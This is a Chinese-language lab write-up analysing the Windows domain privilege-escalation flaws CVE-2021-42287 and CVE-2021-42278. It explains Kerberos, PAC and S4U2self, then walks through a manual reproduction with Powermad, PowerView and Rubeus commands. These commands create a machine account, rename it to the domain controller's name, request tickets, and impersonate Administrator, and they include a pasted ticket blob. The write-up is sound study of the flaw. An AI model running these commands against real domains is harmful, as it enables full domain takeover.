CVE-2021-42287/CVE-2021-42278 Windows域提权漏洞分析

 

这两天Log4j的余波还未过去,就看到windows爆了个提权漏洞,从域用户直接到域控(从此翻身做主人了),趁热学习一下。

 

0x01 环境搭建

0x1 域环境

域环境
AD:192.168.1.2
win7:192.168.1.3

0x2 域用户配置

1.创建域用户

2.配置域用户远程登陆权限

这里有个小坑,如果不配置这个设置的话,将无法通过远程桌面访问域内主机,需要配置的点有两个,一个是DC上配置testuser1到Remote Desktop Users组

第二步是到域内主机上添加testuser1到允许登陆的账户

最终效果如下

 

0x02 漏洞复现及原理分析

0x1 python脚本复现

复现完了发现没有能够弹回来shell,去git上看到如下issue,脚本在ubuntuserver上执行的,从目前的结果来看是成功的拿到了DC的ticket

0x2 原理分析

1.Kerberos 基础概念

复现到这可以看到这个漏洞的核心其实是以一个普通域用户来冒充DC拿到DC的ticket,进而实现对DC的仿冒,完成提权的操作。上述过程的核心是获取DC的ticket,这里简述一下ticket的概念

在域环境中,Kerberos协议被用来作身份认证,上图所示即为一次简单的身份认证流程,具体细节可以参考相关资料,这里仅介绍几个名词:

  • KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
  • AS(Authentication Server): 身份认证服务
  • TGS(Ticket Granting Server): 票据授予服务
  • TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时

TGT票据包含 Client/TGS Session Key (AS 生成的随机字符串)、 Client Info(PAC?) 和 Timestamp
TGT票据由TGS 密钥(krbtgt 用户的 NTLM Hash)进行加密,用户无法解密。

  • ST(Server Ticket) 服务端票据,用户使用该票据请求对应的服务,通过验证后获得服务访问权限
  • Pass The Ticket: 如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限

网上很多版本的kerberos的流程(上面记录的流程)是

1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgt hash加密的TGT票据
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。

上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。

为了解决上面的这个问题,微软引进了PAC,引进PAC之后的kerberos流程变成

用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含用户的sid,用户所在的组。

1.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据,具体内容可以参考Windows内网协议学习Kerberos篇之TGSREQ& TGSREP)
2.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问权限,域控解密PAC。获取用户的sid,以及所在的组,再判断用户是否有访问服务的权限,有访问权限(有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)就允许用户访问。

特别说明的是,PAC对于用户和服务全程都是不可见的。只有KDC能制作和查看PAC。

2.换个说法讲Kerberos流程

一个认证服务器(Authentication Server,简称 AS):验证Client端的身份(确定你是身份证上的本人),验证通过就会给一张票证授予票证(Ticket Granting Ticket,简称 TGT)给 Client。
一个票据授权服务器(Ticket Granting Server,简称 TGS):通过 TGT(AS 发送给 Client 的票)获取访问 Server 端的票(Server Ticket,简称 ST)。ST(Service Ticket)也有资料称为 TGS Ticket。

3.漏洞原理

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

该漏洞就导致了AS会以签发一个机器名末尾不以$结尾的TGT(伪装域控主机名的TGT)
正常域控TGT内Client info里的机器名信息比如说时 MachineName$
该漏洞伪造的域控TGT内的Client info内的机器名信息就是 MachineName(并不合法)
因为TGT本身是被KDC用TGS 密钥进行加密的,因此当后续用户使用TGT向TGS请求服务票据时TGS是信任TGT内的信息的。

  • CVE-2021-42287,与上述漏洞配合使用,该漏洞核心在于:当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 **$** 重新搜索。创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

在请求到TGT之后,攻击者将机器名修改为其他机器名,然后用该TGT向TGS请求S4U2self服务,这里要先理解ST票据生成的流程才能明白攻击得以完成的原因。

TGS_request 、TGS_reply

TGS-REQ(请求):
当TGS服务收到到client请求体KRB_TGS_REQ时,因为TGS端并没有session key,只能先利用TGS 密钥(krbtgt 的 NTLM Hash)去解TGT部分内容,得到session key,再去解Session key(client info+时间戳)部分,从而验证该用户是否是AS颁发给该client的。验证通过后,给client回复KRB_TGS_REP给client

TGS-REP(返回):
TGS 收到请求后,检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在,TGS 使用 TGS 密钥(krbtgt 的 NTLM Hash)解密 TGT,得到 Client/TGS Session Key、timestamp、Client info;同时使用从 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2,得到 Client info 和 timestamp。比对 Authenticator2 和TGT 的解密内容以验证通过。

  • TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID
  • 比较时间戳(误差范围在2分钟)
  • 通过生命周期字段检查 TGT 是否过期
  • 检查 Authenticator2 是否在 TGS 的缓存中
  • 若原始请求中的网络地址不为 NULL,比较 TGT 中的 IP 和请求的 IP

验证成功后,随机生成 Client 所请求服务的会话密钥 Client/Server Session Key;
使用 Server 密钥(即服务器计算机的NTLM Hash)对 Client/Server Session Key、Client Info(包含 Client ID)、TimeStamp 加密得到 Client-To-Server Ticket(也称为 ST);
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。


域控机器名:MachineName$
伪造机器名:MachineName

介绍完ST票据,其实漏洞的核心点也已经触手可及了,当TGS使用TGS密钥对用户发送过来的TGT进行解密后,获取到了机器名:MachineName,同时由于用户请求的是S4U2self服务,因此需要用机器名对应的密钥(即主机自身的密钥)来对ST进行加密,然而我们已经将主机名修改为了其他名称,此时域内是不存在MachineName的机器名的,因此TGS自行在MachineName后添加了 $ 符号,再次在机器名列表中进行搜索,域控的机器名与之匹配,于是TGS就使用了MachineName$(也就是域控)的密钥加密了S4U2self的ST发给了用户,当用户使用该ST去访问域控时就获取了域控的控制权。
这里关于PAC的其实还有写不清楚的地方,看其他的分析里说法是TGS在利用域控的密钥对ST进行加密的时候就顺便提供了域控账户的PAC到ST中,从而使得域控在使用自身密钥解密ST后,通过了向TGS验证PAC有效性的过程。(没有深究了)

0x3 手动复现

假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC(伪)。然后利用 DC(伪) 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman。这个时候 KDC 就会判断域内没有 DC (伪)和这个用户,自动去搜索 DC(DC$是域内域控DC(真) 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC(真) 的 ST 票据,最终获得域控制器DC的权限。
注意复现过程中使用了 powerspolit 和 Rubeus 两个工具

1.创建本地机器账户

$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "settest.com" -DomainController "administrator.sectest.com" -Verbose

最开始执行上述两条指令时出错,尝试使用ps脚本添加,发现当前用户不能执行ps脚本

尝试使用 set-executionpolicy remotesigned 解除限制时发现需要管理员账户,姑且用管理账户解开该限制

# 脚本创建
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1

# 运行完后需要输入一下密码:12345678(可任意密码)
New-MachineAccount -MachineAccount saulgoodman -Domain sectest.com -DomainController administrator.sectest.com -Verbose

# 验证是否添加成功
net group "domain computers" /domain

但是在执行添加账户指令时发现如下报错,查看报错脚本对应位置

由于是LDAP服务相关的错误,且在DC上查看 389 端口正常,因此猜测问题出在参数上,向上回溯发现可能是DomainController参数出现的问题,根据代码逻辑发现如果不指定该参数的话,脚本会自行补全。

删除 DomainController 参数后执行

成功添加本地机器账户

2.清除SPN信息

# 导入一下 PowerView.ps1
Import-Module .\PowerView.ps1
Set-DomainObject "CN=saulgoodman,CN=Computers,DC=redteam,DC=red" -Clear 'serviceprincipalname' -Verbose

这里才发现,上面用到的脚本其实是git上一个专门用于域渗透的项目(PowerSploit)里提供的功能,用到对应的功能的时候就将对应的ps脚本上传到主机上,最终执行结果如下

3.重设机器名称

这里开始利用CVE-2021-42278漏洞仿冒DC机器名

# 修改当前机器名称为DC机器名
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "WIN-E13FAE6DQB9" -Attribute samaccountname -Verbose

4.请求TGT

使用仿冒的用户名请求AS时,因为漏洞的原因 username 和 username$ 被认为是同一个账户,因此返回了username$ 的 TGT
这里基本都用的是 https://github.com/GhostPack/Rubeus 的工具来完成的,此处就踩着前人的肩膀了,尽量避免踩坑,查看git才发现这玩意还要自己编译

./Rubeus.exe asktgt /user:WIN-E13FAE6DQB9 /password:12345678 /domian:sectest.com /dc:WIN-E13FAE6DQB9.sectest.com /nowrap

5.恢复原机器名

已经获取到TGT后将原机器账户名更改,使得第二个漏洞得以触发

Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose

6.Request S4U2self(获取DC票据)

通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-E13FAE6DQB9.sectest.com" /dc:"WIN-E13FAE6DQB9.sectest.com" /ptt /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQ0bC1NFQ1RFU1QuQ09NoiAwHqADAgECoRcwFRsGa3JidGd0GwtzZWN0ZXN0LmNvbaOCA/0wggP5oAMCARKhAwIBAqKCA+sEggPnE291dHjoyQEYfUdVYVz9JLJHj3Ocv0isIBskmG8TxiPbmztewf4kno7c079VnLO3yaQvtD2JcmsZHJelTE1HZBQrEvbj73rvR9ruCQbyE7WuwzTLhPTBBg7lxm8guQh9uYb5VlvrfAgdXevNbyveWf9HSFzanqunLN13hckRsSr+UOUXsl0aYRMv/o0gmLpUT7GRqDXvAMPlTn35EUoRAJVPIObJJ+5TJsV8uzmCu2bBtrtGd5UBoblm4P09nn1KAxXTr0mvOil1j7aRXNKiUn8e5MHfYgELBb9k4eiHm5sLL6HTiEdWt3p/rANUzLnDUisSl9w3h4xiW+IK2eZIRVoVq2GtkrW1vButy+DUJ8T61XD/50E4MfoeOFgiJurzq7n3i2qdgFmYE5xDqvS2xK12WCbxZoTjq6h4s5Cu9QvR0zN73bSIAkIKtkY1tiiKr5G04e2WBIlsWc6rdgnOUGLlEOScnFP5cdERkkppvUayiEGYmiKeFUQA9R6/jHHDBNHJzwnEu+Z8jvNrqsbUEsb9hglsThI01TxRyF9lpLqkUZhTlZ9jEVk5vTl9l7JIrqbuS+ymRcTUAMWj9/8t+rNZKNbWnpk8sedsvPV12ni4QD5Hw1QD+oVJkDzqiYzlHTpE0wtvOVsPEm+M2kFdgV5e6/DEgpOvJNFOQsSrhh2keFs1QTwSJyngODQLrcdeRdWrn8I7FJUxByeLG1jexs10XsCEBwiKde9YUXvaYxVcr7Sr6AW4VTbdhEmqIvARFJW8cTwkghHRK2PGhtjbbJNOA+uafXP0t/Z5qTE5tT5Nj+sDWnnxZu1ikAXQJTce9uAiVfN6NcA9YzUMEEir2ORq1NGSpr+rTfB0NDlpZK2AA6nYVrbC2CdpscgokN1FC48rYt7Qrcoc8kvYR95TaXMGNP2WSRiChdtGB3T5IjIHsvsAKzW8Gzcbdna1oxBp0fACogzLQ3W5SCdn7xOO6DcDRjMHPYemtFTnj4C5YVi4FkdZ9GNhldIm60ImzFpBgrFeut0lthfOnwYyianRNIpHuT50vz9Z+mW4eO9GRzHPGmpo/ns+8T6mKWy9VdOF0eZ77lm0sAtJckPlFgv9VWcS2bfwGeqcDvJctHpSmIL/zSpWjKrZUlknytLZoNAIWk4lDivScUn5+y6pH6vsxjG5Oa3CsIGgAhhXfcztJ0JyFY5apeMhm40Ye5Eyr5aUJf0srju7Q1wIAolWcH+wNqJWa0kiQlb/oxhyrBhIXMV539N2/ZOzrSXYJUSzJGYmp1xVvV2yAyCM62G5nAW4VJwYXj1cANwGzLzdLgeGF0dcEMjFzbEjo4HaMIHXoAMCAQCigc8Egcx9gckwgcaggcMwgcAwgb2gGzAZoAMCARehEgQQgpOpL4DhG9V2R3y2rAIeWaENGwtTRUNURVNULkNPTaIcMBqgAwIBAaETMBEbD1dJTi1FMTNGQUU2RFFCOaMHAwUAQOEAAKURGA8yMDIxMTIxNDE2MzY0NFqmERgPMjAyMTEyMTUwMjM2NDRapxEYDzIwMjExMjIxMTYzNjQ0WqgNGwtTRUNURVNULkNPTakgMB6gAwIBAqEXMBUbBmtyYnRndBsLc2VjdGVzdC5jb20=

7.验证TGT

 

参考链接

https://blog.csdn.net/weixin_43760829/article/details/89437363
https://myzxcg.com/2021/08/域用户与域成员机器关系及利用/
https://juejin.cn/post/6844903955416219661
https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ
https://www.anquanke.com/post/id/190625
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://github.com/WazeHell/sam-the-admin
https://wooyun.js.org/drops/域渗透——Pass The Ticket.html
https://www.anquanke.com/post/id/192810
https://www.cnblogs.com/0x7e/p/13862453.html

(完)